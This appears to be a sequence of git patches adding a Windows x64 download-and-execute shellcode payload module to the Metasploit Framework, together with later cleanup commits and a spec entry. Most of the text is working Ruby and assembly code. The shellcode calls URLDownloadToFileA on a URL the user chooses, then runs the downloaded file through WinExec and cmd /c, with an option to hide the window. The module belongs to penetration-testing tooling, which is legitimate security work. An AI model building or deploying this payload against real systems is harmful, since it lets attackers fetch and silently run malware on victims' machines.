From a412070a12a379ec2d78b8928021887f3f951029 Mon Sep 17 00:00:00 2001 From: Umut <140441119+xHector1337@users.noreply.github.com> Date: Tue, 15 Jul 2025 16:50:59 +0300 Subject: [PATCH 1/8] Create download_exec.rb --- .../singles/windows/x64/download_exec.rb | 129 ++++++++++++++++++ 1 file changed, 129 insertions(+) create mode 100644 modules/payloads/singles/windows/x64/download_exec.rb diff --git a/modules/payloads/singles/windows/x64/download_exec.rb b/modules/payloads/singles/windows/x64/download_exec.rb new file mode 100644 index 0000000000000..5a7bb0f3b0133 --- /dev/null +++ b/modules/payloads/singles/windows/x64/download_exec.rb @@ -0,0 +1,129 @@ +## +# This module requires Metasploit: https://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +module MetasploitModule + include Msf::Payload::Single + include Msf::Payload::Windows + include Msf::Payload::Windows::BlockApi_x64 + + def initialize(info = {}) + super( + update_info( + info, + 'Name' => 'Windows Download Execute', + 'Description' => 'Downloads and executes the file from the specified url.', + 'Author' => 'Muzaffer Umut ŞAHİN ', + 'License' => MSF_LICENSE, + 'Platform' => 'win', + 'Arch' => ARCH_X64 + ) + ) + + display_options = %w[HIDE SHOW] + + register_options( + [ + OptString.new('URL', [true, 'The url to download the file from.', 'https://i.pinimg.com/736x/dd/89/7b/dd897badebe41af82f7b0a7a64be3272.jpg']), + OptString.new('FILEPATH', [true, 'The path to save the downloaded file.', 'fox.jpg']), + OptEnum.new('DISPLAY', [true, 'The Display type.', display_options[0], display_options]) + ] + ) + end + + def generate(_opts = {}) + url = datastore['URL'] || 'https://i.pinimg.com/736x/dd/89/7b/dd897badebe41af82f7b0a7a64be3272.jpg' + file = datastore['FILEPATH'] || 'fox.jpg' + display = datastore['DISPLAY'] || 'HIDE' + + payload = %^ + cld + and rsp, -16 + call main + #{asm_block_api} + + main: + pop rbp + call LoadLibrary + db "urlmon.dllK" + ; V, is this the land of do-as-you-please? + + LoadLibrary: + pop rcx ; rcx points to the dll name. + xor byte [rcx+10], 'K' ; null terminator + mov r10d, #{Rex::Text.block_api_hash('kernel32.dll', 'LoadLibraryA')} + call rbp ; LoadLibraryA("urlmon.dll") + ; To live alone one must be an animal or a god, says Aristotle. There is yet a third case: one must be both--a philosopher. + + SetUrl: + call SetFile + db "#{url}A" + ; The Sound of Silence maybe a Careless Whisper? + + SetFile: + pop rdx ; 2nd argument + xor byte [rdx+#{url.length}], 'A' ; null terminator + call UrlDownloadToFile + db "#{file}C" + ; Never compromise not even in the face of armageddon. + + UrlDownloadToFile: + pop r8 ; 3rd argument + xor byte [r8+#{file.length}], 'C' ; null terminator + xor rcx,rcx ; 1st argument + xor r9,r9 ; 4th argument + push rcx ; 5th argument + sub rsp, 8 ; stack alignment + mov r10d, #{Rex::Text.block_api_hash('urlmon.dll', 'URLDownloadToFileA')} + call rbp + ; I can see the sun, but even if I cannot see the sun, I know that it exists. And to know that the sun is there - that is living. + + SetCommand: + call Exec + db "cmd /c #{file}F" + + Exec: + pop rcx ; 1st argument + xor byte [rcx+#{file.length + 7}], 'F' ; null terminator + mov r10d, #{Rex::Text.block_api_hash('kernel32.dll', 'WinExec')} + xor rdx, rdx ; 2nd argument + ^ + + if display == 'HIDE' + hide = %( + call rbp + ; I am vengeance! I am the night! I am Batman! + ) + payload << hide + + elsif display == 'SHOW' + show = %( + inc rdx ; SW_NORMAL = 1 + call rbp + ; It's our only home. Our heaven and our hell. This is Outer Heaven. + ) + payload << show + end + + if datastore['EXITFUNC'] == 'process' + exit_asm = %( + xor rcx,rcx + mov r10d, #{Rex::Text.block_api_hash('kernel32.dll', 'ExitProcess')} + call rbp + ) + payload << exit_asm + + elsif datastore['EXITFUNC'] == 'thread' + exit_asm = %( + xor rcx,rcx + mov r10d, #{Rex::Text.block_api_hash('kernel32.dll', 'ExitThread')} + call rbp + ; She walks in beauty, like the night... + ) + payload << exit_asm + end + + Metasm::Shellcode.assemble(Metasm::X64.new, payload).encode_string + end +end From 0344591863882d41a87f7d4dd7571e8c92ad33e2 Mon Sep 17 00:00:00 2001 From: Umut <140441119+xHector1337@users.noreply.github.com> Date: Wed, 16 Jul 2025 11:35:35 +0300 Subject: [PATCH 2/8] fix 5th arg for URLDownloadToFileA --- .../singles/windows/x64/download_exec.rb | 134 +++++++++--------- 1 file changed, 68 insertions(+), 66 deletions(-) diff --git a/modules/payloads/singles/windows/x64/download_exec.rb b/modules/payloads/singles/windows/x64/download_exec.rb index 5a7bb0f3b0133..76a75cc8a49f9 100644 --- a/modules/payloads/singles/windows/x64/download_exec.rb +++ b/modules/payloads/singles/windows/x64/download_exec.rb @@ -4,47 +4,50 @@ ## module MetasploitModule - include Msf::Payload::Single - include Msf::Payload::Windows - include Msf::Payload::Windows::BlockApi_x64 - def initialize(info = {}) - super( - update_info( - info, - 'Name' => 'Windows Download Execute', - 'Description' => 'Downloads and executes the file from the specified url.', - 'Author' => 'Muzaffer Umut ŞAHİN ', - 'License' => MSF_LICENSE, - 'Platform' => 'win', - 'Arch' => ARCH_X64 - ) - ) + include Msf::Payload::Single + include Msf::Payload::Windows + include Msf::Payload::Windows::BlockApi_x64 + + def initialize(info = {}) + super( + update_info( + info, + 'Name' => 'Windows Download Execute', + 'Description' => 'Downloads and executes the file from the specified url.', + 'Author' => 'Muzaffer Umut ŞAHİN ', + 'License' => MSF_LICENSE, + 'Platform' => 'win', + 'Arch' => ARCH_X64 + ) + ) + + display_options = ['HIDE', 'SHOW'] - display_options = %w[HIDE SHOW] + register_options( + [ + OptString.new('URL', [true, 'The url to download the file from.', 'https://i.pinimg.com/736x/dd/89/7b/dd897badebe41af82f7b0a7a64be3272.jpg']), + OptString.new('FILEPATH', [true, 'The path to save the downloaded file.', 'fox.jpg']), + OptEnum.new('DISPLAY', [true, 'The Display type.', display_options[0], display_options]) + ] + ) + end - register_options( - [ - OptString.new('URL', [true, 'The url to download the file from.', 'https://i.pinimg.com/736x/dd/89/7b/dd897badebe41af82f7b0a7a64be3272.jpg']), - OptString.new('FILEPATH', [true, 'The path to save the downloaded file.', 'fox.jpg']), - OptEnum.new('DISPLAY', [true, 'The Display type.', display_options[0], display_options]) - ] - ) - end + def generate(_opts={}) - def generate(_opts = {}) - url = datastore['URL'] || 'https://i.pinimg.com/736x/dd/89/7b/dd897badebe41af82f7b0a7a64be3272.jpg' - file = datastore['FILEPATH'] || 'fox.jpg' - display = datastore['DISPLAY'] || 'HIDE' + url = (datastore['URL'] || 'https://i.pinimg.com/736x/dd/89/7b/dd897badebe41af82f7b0a7a64be3272.jpg') + file = (datastore['FILEPATH'] || 'fox.jpg') + display = (datastore['DISPLAY'] || 'HIDE') - payload = %^ + + payload = %^ cld - and rsp, -16 + and rsp, -16 call main #{asm_block_api} main: - pop rbp + pop rbp call LoadLibrary db "urlmon.dllK" ; V, is this the land of do-as-you-please? @@ -52,78 +55,77 @@ def generate(_opts = {}) LoadLibrary: pop rcx ; rcx points to the dll name. xor byte [rcx+10], 'K' ; null terminator - mov r10d, #{Rex::Text.block_api_hash('kernel32.dll', 'LoadLibraryA')} + mov r10d, #{Rex::Text.block_api_hash('kernel32.dll','LoadLibraryA')} call rbp ; LoadLibraryA("urlmon.dll") ; To live alone one must be an animal or a god, says Aristotle. There is yet a third case: one must be both--a philosopher. - + SetUrl: call SetFile db "#{url}A" ; The Sound of Silence maybe a Careless Whisper? - + SetFile: - pop rdx ; 2nd argument + pop rdx ; 2nd argument xor byte [rdx+#{url.length}], 'A' ; null terminator call UrlDownloadToFile db "#{file}C" ; Never compromise not even in the face of armageddon. - + UrlDownloadToFile: pop r8 ; 3rd argument xor byte [r8+#{file.length}], 'C' ; null terminator xor rcx,rcx ; 1st argument xor r9,r9 ; 4th argument - push rcx ; 5th argument - sub rsp, 8 ; stack alignment - mov r10d, #{Rex::Text.block_api_hash('urlmon.dll', 'URLDownloadToFileA')} + mov qword [rsp+0x30], rcx ; 5th argument + mov r10d, #{Rex::Text.block_api_hash('urlmon.dll','URLDownloadToFileA')} call rbp ; I can see the sun, but even if I cannot see the sun, I know that it exists. And to know that the sun is there - that is living. - + SetCommand: call Exec db "cmd /c #{file}F" - + Exec: pop rcx ; 1st argument - xor byte [rcx+#{file.length + 7}], 'F' ; null terminator - mov r10d, #{Rex::Text.block_api_hash('kernel32.dll', 'WinExec')} + xor byte [rcx+#{file.length + 7 }], 'F' ; null terminator + mov r10d, #{Rex::Text.block_api_hash('kernel32.dll','WinExec')} xor rdx, rdx ; 2nd argument ^ - if display == 'HIDE' - hide = %( + if display == 'HIDE' + hide = %^ call rbp ; I am vengeance! I am the night! I am Batman! - ) - payload << hide + ^ + payload << hide - elsif display == 'SHOW' - show = %( + elsif display == 'SHOW' + show = %^ inc rdx ; SW_NORMAL = 1 call rbp ; It's our only home. Our heaven and our hell. This is Outer Heaven. - ) - payload << show - end + ^ + payload << show + end - if datastore['EXITFUNC'] == 'process' - exit_asm = %( + if datastore['EXITFUNC'] == 'process' + exit_asm = %^ xor rcx,rcx - mov r10d, #{Rex::Text.block_api_hash('kernel32.dll', 'ExitProcess')} + mov r10d, #{Rex::Text.block_api_hash('kernel32.dll','ExitProcess')} call rbp - ) - payload << exit_asm - - elsif datastore['EXITFUNC'] == 'thread' - exit_asm = %( + ^ + payload << exit_asm + + elsif datastore['EXITFUNC'] == 'thread' + exit_asm = %^ xor rcx,rcx - mov r10d, #{Rex::Text.block_api_hash('kernel32.dll', 'ExitThread')} + mov r10d, #{Rex::Text.block_api_hash('kernel32.dll','ExitThread')} call rbp ; She walks in beauty, like the night... - ) - payload << exit_asm - end + ^ + payload << exit_asm + end - Metasm::Shellcode.assemble(Metasm::X64.new, payload).encode_string - end + Metasm::Shellcode.assemble(Metasm::X64.new, payload).encode_string + end end From 90d15cbe613df9f0a0effef68edad15be510eeea Mon Sep 17 00:00:00 2001 From: Umut <140441119+xHector1337@users.noreply.github.com> Date: Thu, 17 Jul 2025 11:39:44 +0300 Subject: [PATCH 3/8] finalize the payload add CachedSize & fix the fifth arg problem & run rubocop --- .../singles/windows/x64/download_exec.rb | 134 +++++++++--------- 1 file changed, 67 insertions(+), 67 deletions(-) diff --git a/modules/payloads/singles/windows/x64/download_exec.rb b/modules/payloads/singles/windows/x64/download_exec.rb index 76a75cc8a49f9..2002c7587a04f 100644 --- a/modules/payloads/singles/windows/x64/download_exec.rb +++ b/modules/payloads/singles/windows/x64/download_exec.rb @@ -4,50 +4,49 @@ ## module MetasploitModule + CachedSize = 364 - include Msf::Payload::Single - include Msf::Payload::Windows - include Msf::Payload::Windows::BlockApi_x64 - - def initialize(info = {}) - super( - update_info( - info, - 'Name' => 'Windows Download Execute', - 'Description' => 'Downloads and executes the file from the specified url.', - 'Author' => 'Muzaffer Umut ŞAHİN ', - 'License' => MSF_LICENSE, - 'Platform' => 'win', - 'Arch' => ARCH_X64 - ) - ) - - display_options = ['HIDE', 'SHOW'] + include Msf::Payload::Single + include Msf::Payload::Windows + include Msf::Payload::Windows::BlockApi_x64 - register_options( - [ - OptString.new('URL', [true, 'The url to download the file from.', 'https://i.pinimg.com/736x/dd/89/7b/dd897badebe41af82f7b0a7a64be3272.jpg']), - OptString.new('FILEPATH', [true, 'The path to save the downloaded file.', 'fox.jpg']), - OptEnum.new('DISPLAY', [true, 'The Display type.', display_options[0], display_options]) - ] - ) - end + def initialize(info = {}) + super( + update_info( + info, + 'Name' => 'Windows Download Execute', + 'Description' => 'Downloads and executes the file from the specified url.', + 'Author' => 'Muzaffer Umut ŞAHİN ', + 'License' => MSF_LICENSE, + 'Platform' => 'win', + 'Arch' => ARCH_X64 + ) + ) - def generate(_opts={}) + display_options = %w[HIDE SHOW] - url = (datastore['URL'] || 'https://i.pinimg.com/736x/dd/89/7b/dd897badebe41af82f7b0a7a64be3272.jpg') - file = (datastore['FILEPATH'] || 'fox.jpg') - display = (datastore['DISPLAY'] || 'HIDE') + register_options( + [ + OptString.new('URL', [true, 'The url to download the file from.', 'http://localhost/hi.exe']), + OptString.new('FILEPATH', [true, 'The path to save the downloaded file.', 'fox.exe']), + OptEnum.new('DISPLAY', [true, 'The Display type.', display_options[0], display_options]) + ] + ) + end + def generate(_opts = {}) + url = datastore['URL'] || 'http://localhost/hi.exe' + file = datastore['FILEPATH'] || 'fox.exe' + display = datastore['DISPLAY'] || 'HIDE' - payload = %^ + payload = %^ cld - and rsp, -16 + and rsp, -16 call main #{asm_block_api} main: - pop rbp + pop rbp call LoadLibrary db "urlmon.dllK" ; V, is this the land of do-as-you-please? @@ -55,77 +54,78 @@ def generate(_opts={}) LoadLibrary: pop rcx ; rcx points to the dll name. xor byte [rcx+10], 'K' ; null terminator - mov r10d, #{Rex::Text.block_api_hash('kernel32.dll','LoadLibraryA')} + mov r10d, #{Rex::Text.block_api_hash('kernel32.dll', 'LoadLibraryA')} call rbp ; LoadLibraryA("urlmon.dll") ; To live alone one must be an animal or a god, says Aristotle. There is yet a third case: one must be both--a philosopher. - + SetUrl: call SetFile db "#{url}A" ; The Sound of Silence maybe a Careless Whisper? - + SetFile: - pop rdx ; 2nd argument + pop rdx ; 2nd argument xor byte [rdx+#{url.length}], 'A' ; null terminator call UrlDownloadToFile db "#{file}C" ; Never compromise not even in the face of armageddon. - + UrlDownloadToFile: pop r8 ; 3rd argument xor byte [r8+#{file.length}], 'C' ; null terminator xor rcx,rcx ; 1st argument xor r9,r9 ; 4th argument - mov qword [rsp+0x30], rcx ; 5th argument - mov r10d, #{Rex::Text.block_api_hash('urlmon.dll','URLDownloadToFileA')} + sub rsp, 8 + push rcx ; 5th argument + mov r10d, #{Rex::Text.block_api_hash('urlmon.dll', 'URLDownloadToFileA')} call rbp ; I can see the sun, but even if I cannot see the sun, I know that it exists. And to know that the sun is there - that is living. - + SetCommand: call Exec db "cmd /c #{file}F" - + Exec: pop rcx ; 1st argument - xor byte [rcx+#{file.length + 7 }], 'F' ; null terminator - mov r10d, #{Rex::Text.block_api_hash('kernel32.dll','WinExec')} + xor byte [rcx+#{file.length + 7}], 'F' ; null terminator + mov r10d, #{Rex::Text.block_api_hash('kernel32.dll', 'WinExec')} xor rdx, rdx ; 2nd argument ^ - if display == 'HIDE' - hide = %^ + if display == 'HIDE' + hide = %( call rbp ; I am vengeance! I am the night! I am Batman! - ^ - payload << hide + ) + payload << hide - elsif display == 'SHOW' - show = %^ + elsif display == 'SHOW' + show = %( inc rdx ; SW_NORMAL = 1 call rbp ; It's our only home. Our heaven and our hell. This is Outer Heaven. - ^ - payload << show - end + ) + payload << show + end - if datastore['EXITFUNC'] == 'process' - exit_asm = %^ + if datastore['EXITFUNC'] == 'process' + exit_asm = %( xor rcx,rcx - mov r10d, #{Rex::Text.block_api_hash('kernel32.dll','ExitProcess')} + mov r10d, #{Rex::Text.block_api_hash('kernel32.dll', 'ExitProcess')} call rbp - ^ - payload << exit_asm - - elsif datastore['EXITFUNC'] == 'thread' - exit_asm = %^ + ) + payload << exit_asm + + elsif datastore['EXITFUNC'] == 'thread' + exit_asm = %( xor rcx,rcx - mov r10d, #{Rex::Text.block_api_hash('kernel32.dll','ExitThread')} + mov r10d, #{Rex::Text.block_api_hash('kernel32.dll', 'ExitThread')} call rbp ; She walks in beauty, like the night... - ^ - payload << exit_asm - end - - Metasm::Shellcode.assemble(Metasm::X64.new, payload).encode_string + ) + payload << exit_asm end + + Metasm::Shellcode.assemble(Metasm::X64.new, payload).encode_string + end end From 708dcaf36e45cf37897d1ffdf77ca0e8562b7cc1 Mon Sep 17 00:00:00 2001 From: Umut <140441119+xHector1337@users.noreply.github.com> Date: Thu, 17 Jul 2025 15:28:20 +0300 Subject: [PATCH 4/8] Delete unnecessary comments --- modules/payloads/singles/windows/x64/download_exec.rb | 7 ------- 1 file changed, 7 deletions(-) diff --git a/modules/payloads/singles/windows/x64/download_exec.rb b/modules/payloads/singles/windows/x64/download_exec.rb index 2002c7587a04f..03c7340556a80 100644 --- a/modules/payloads/singles/windows/x64/download_exec.rb +++ b/modules/payloads/singles/windows/x64/download_exec.rb @@ -49,7 +49,6 @@ def generate(_opts = {}) pop rbp call LoadLibrary db "urlmon.dllK" - ; V, is this the land of do-as-you-please? LoadLibrary: pop rcx ; rcx points to the dll name. @@ -61,14 +60,12 @@ def generate(_opts = {}) SetUrl: call SetFile db "#{url}A" - ; The Sound of Silence maybe a Careless Whisper? SetFile: pop rdx ; 2nd argument xor byte [rdx+#{url.length}], 'A' ; null terminator call UrlDownloadToFile db "#{file}C" - ; Never compromise not even in the face of armageddon. UrlDownloadToFile: pop r8 ; 3rd argument @@ -79,7 +76,6 @@ def generate(_opts = {}) push rcx ; 5th argument mov r10d, #{Rex::Text.block_api_hash('urlmon.dll', 'URLDownloadToFileA')} call rbp - ; I can see the sun, but even if I cannot see the sun, I know that it exists. And to know that the sun is there - that is living. SetCommand: call Exec @@ -95,7 +91,6 @@ def generate(_opts = {}) if display == 'HIDE' hide = %( call rbp - ; I am vengeance! I am the night! I am Batman! ) payload << hide @@ -103,7 +98,6 @@ def generate(_opts = {}) show = %( inc rdx ; SW_NORMAL = 1 call rbp - ; It's our only home. Our heaven and our hell. This is Outer Heaven. ) payload << show end @@ -121,7 +115,6 @@ def generate(_opts = {}) xor rcx,rcx mov r10d, #{Rex::Text.block_api_hash('kernel32.dll', 'ExitThread')} call rbp - ; She walks in beauty, like the night... ) payload << exit_asm end From af0fe9e5cc0a0e4058843c7fd4a52e59a3be157b Mon Sep 17 00:00:00 2001 From: Umut <140441119+xHector1337@users.noreply.github.com> Date: Mon, 11 Aug 2025 14:22:28 +0300 Subject: [PATCH 5/8] run rubocop -A --- modules/payloads/singles/windows/x64/download_exec.rb | 2 ++ 1 file changed, 2 insertions(+) diff --git a/modules/payloads/singles/windows/x64/download_exec.rb b/modules/payloads/singles/windows/x64/download_exec.rb index 03c7340556a80..abe122ddef09b 100644 --- a/modules/payloads/singles/windows/x64/download_exec.rb +++ b/modules/payloads/singles/windows/x64/download_exec.rb @@ -1,3 +1,5 @@ +# frozen_string_literal: true + ## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework From b6d9172d5b6968f40f10b5b1463555173af692ed Mon Sep 17 00:00:00 2001 From: Diego Ledda Date: Tue, 12 Aug 2025 11:05:21 +0200 Subject: [PATCH 6/8] chore(rubocop): remove extra white-space --- modules/payloads/singles/windows/x64/download_exec.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/modules/payloads/singles/windows/x64/download_exec.rb b/modules/payloads/singles/windows/x64/download_exec.rb index abe122ddef09b..2a39e7546236d 100644 --- a/modules/payloads/singles/windows/x64/download_exec.rb +++ b/modules/payloads/singles/windows/x64/download_exec.rb @@ -37,7 +37,7 @@ def initialize(info = {}) end def generate(_opts = {}) - url = datastore['URL'] || 'http://localhost/hi.exe' + url = datastore['URL'] || 'http://localhost/hi.exe' file = datastore['FILEPATH'] || 'fox.exe' display = datastore['DISPLAY'] || 'HIDE' From abe932cdee8af8b372a7c4f9bea2e1be427c6d31 Mon Sep 17 00:00:00 2001 From: Umut <140441119+xHector1337@users.noreply.github.com> Date: Tue, 12 Aug 2025 12:34:47 +0300 Subject: [PATCH 7/8] Update payloads_spec.rb --- spec/modules/payloads_spec.rb | 9 +++++++++ 1 file changed, 9 insertions(+) diff --git a/spec/modules/payloads_spec.rb b/spec/modules/payloads_spec.rb index 0981742cac8cb..5efc787156c95 100644 --- a/spec/modules/payloads_spec.rb +++ b/spec/modules/payloads_spec.rb @@ -5200,6 +5200,15 @@ reference_name: 'windows/aarch64/exec' end + context 'windows/x64/download_exec' do + it_should_behave_like 'payload cached size is consistent', + ancestor_reference_names: [ + 'singles/windows/x64/download_exec' + ], + dynamic_size: false, + modules_pathname: modules_pathname, + reference_name: 'windows/x64/download_exec' + end context 'windows/x64/custom/bind_ipv6_tcp' do it_should_behave_like 'payload is not cached', From 3122426ebeb2370bd7be064c1af156a313308ee5 Mon Sep 17 00:00:00 2001 From: Diego Ledda Date: Tue, 12 Aug 2025 11:39:44 +0200 Subject: [PATCH 8/8] Update modules/payloads/singles/windows/x64/download_exec.rb update cache size --- modules/payloads/singles/windows/x64/download_exec.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/modules/payloads/singles/windows/x64/download_exec.rb b/modules/payloads/singles/windows/x64/download_exec.rb index 2a39e7546236d..221dc54a9436b 100644 --- a/modules/payloads/singles/windows/x64/download_exec.rb +++ b/modules/payloads/singles/windows/x64/download_exec.rb @@ -6,7 +6,7 @@ ## module MetasploitModule - CachedSize = 364 + CachedSize = 353 include Msf::Payload::Single include Msf::Payload::Windows